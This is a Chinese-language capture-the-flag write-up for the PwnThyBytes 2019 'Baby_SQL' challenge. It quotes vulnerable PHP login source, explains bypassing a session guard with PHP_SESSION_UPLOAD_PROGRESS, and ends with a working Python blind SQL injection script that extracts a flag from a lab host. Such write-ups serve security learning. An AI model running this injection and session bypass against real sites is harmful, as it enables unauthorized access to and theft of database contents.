[PwnThyBytes 2019]Baby_SQL

/ 0评 / 0

这题单独拿出来,因为有好多知识点
打开靶机,一个登录和一个注册页面。根据题目名称fuzz一波,发现注册页面和登录页面都没有注入点。
源代码中发现源码泄露source.zip。下载
在templates中的login.php发现注入点

<?php
!isset($_SESSION) AND die("Direct access on this script is not allowed!");
include 'db.php';
$sql = 'SELECT username,password FROM ptbctf.ptbctf where username="' . $_GET['username'] . '" and password="' . md5($_GET['password']) . '";';
$result = $con->query($sql);
function auth($user)
{
    $_SESSION['username'] = $user;
    return True;
}
($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

可以发现username为注入点,password因为有md5加密,所以构不成注入。fuzz时还发现过滤了  ‘  根据语句 使用\逃逸引号并用#闭合构造查询语句。这里我们已经知道数据库名为ptbctf了

在index.php中
<?php
session_start();
foreach($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;
foreach($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;
foreach($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;
foreach($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;
function filter($value){
    !is_string($value) AND die("Hacking attempt!");
    return addslashes($value);
}

google后发现

There seems to be some addslashes bypasses based on multi-byte encodings like described here, but they usually depend on some kind of weird charset being using with MySQL. We revisted the “direct access protection” of templates/login.php, which depends on session_start() being called before. I remembered from HITCON CTF 2018 that PHP_SESSION_UPLOAD_PROGRESS can be used to force PHP to initialize $_SESSION to bypassing the check.

大概意思是如果我们强制登录的话,系统不会处理我们的请求,需要强制初始化session来绕过验证

’‘The PHP check the value session.auto_start or function session_start() to know whether it need to process session on current request or not. Unfortunately, the default value of session.auto_start is Off. However, it’s interesting that if you provide the PHP_SESSION_UPLOAD_PROGRESS in multipart POST data. The PHP will enable the session for you’‘

这意思大概是PHP检查值<span style="color: #ff0000;">session.auto_start</span>或函数<span style="color: #ff0000;">session_start()</span>以了解是否需要处理当前请求的会话,但是如果不包含直接传入,则不会请求会话,但是如果以post方式传入<span style="color: #ff0000;">PHP_SESSION_UPLOAD_PROGRESS</span>的话,php就会默认打开会话
post 提交之 multipart/form-data; boundary= ...这篇文章中还接好了如何模拟<span style="color: #ff0000;">multipart/form-data</span>请求以及构建方法,我们可以发现,一般<span style="color: #ff0000;">multipart/form-data</span> 请求请求体的格式用在网站登录上,而我们正需要登录某网站
我们设置好boundary的值,并以post方式传入boundary值为名的数据,设置name为<span style="color: #ff0000;">PHP_SESSION_UPLOAD_PROGRESS</span> 随便传入些数据并结尾,即可完成强制绕过
有了这些知识,我们大概就有了脚本思路,构建<span style="color: #ff0000;">Cooike</span>并强制传入<span style="color: #ff0000;">PHPSESSID</span> ,传入<span style="color: #ff0000;">PHP_SESSION_UPLOAD_PROGRESS</span> 有关数据,执行盲注

import requests
result =''
url = 'http://c8523a02-f61f-4319-b6eb-85b65874a19e.node3.buuoj.cn/templates/login.php?username='
data = '''------ha1c9on
Content-Disposition: form-data; name="PHP_SESSION_UPLOAD_PROGRESS"
ha1c9on
------ha1c9on--'''
headers = {'Cookie' : 'PHPSESSID=ha1c9on;',
   'Content-Type':'multipart/form-data; boundary=----ha1c9on'}
for x in range(1,10000):
    for i in range(32,128):
        payload = "1\"or if(ascii(substr((select group_concat(secret) from flag_tbl),{1},1))={0},1,0)%23".format(i,x);
        r = requests.post(url+payload,headers=headers,data=data)
        if "Try again!" not in r.text:
            result += chr(i)
            print(result)
            break;
        else:
            continue;
    if result[-1]=="}":
        break;

跑一会儿就会获得flag

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注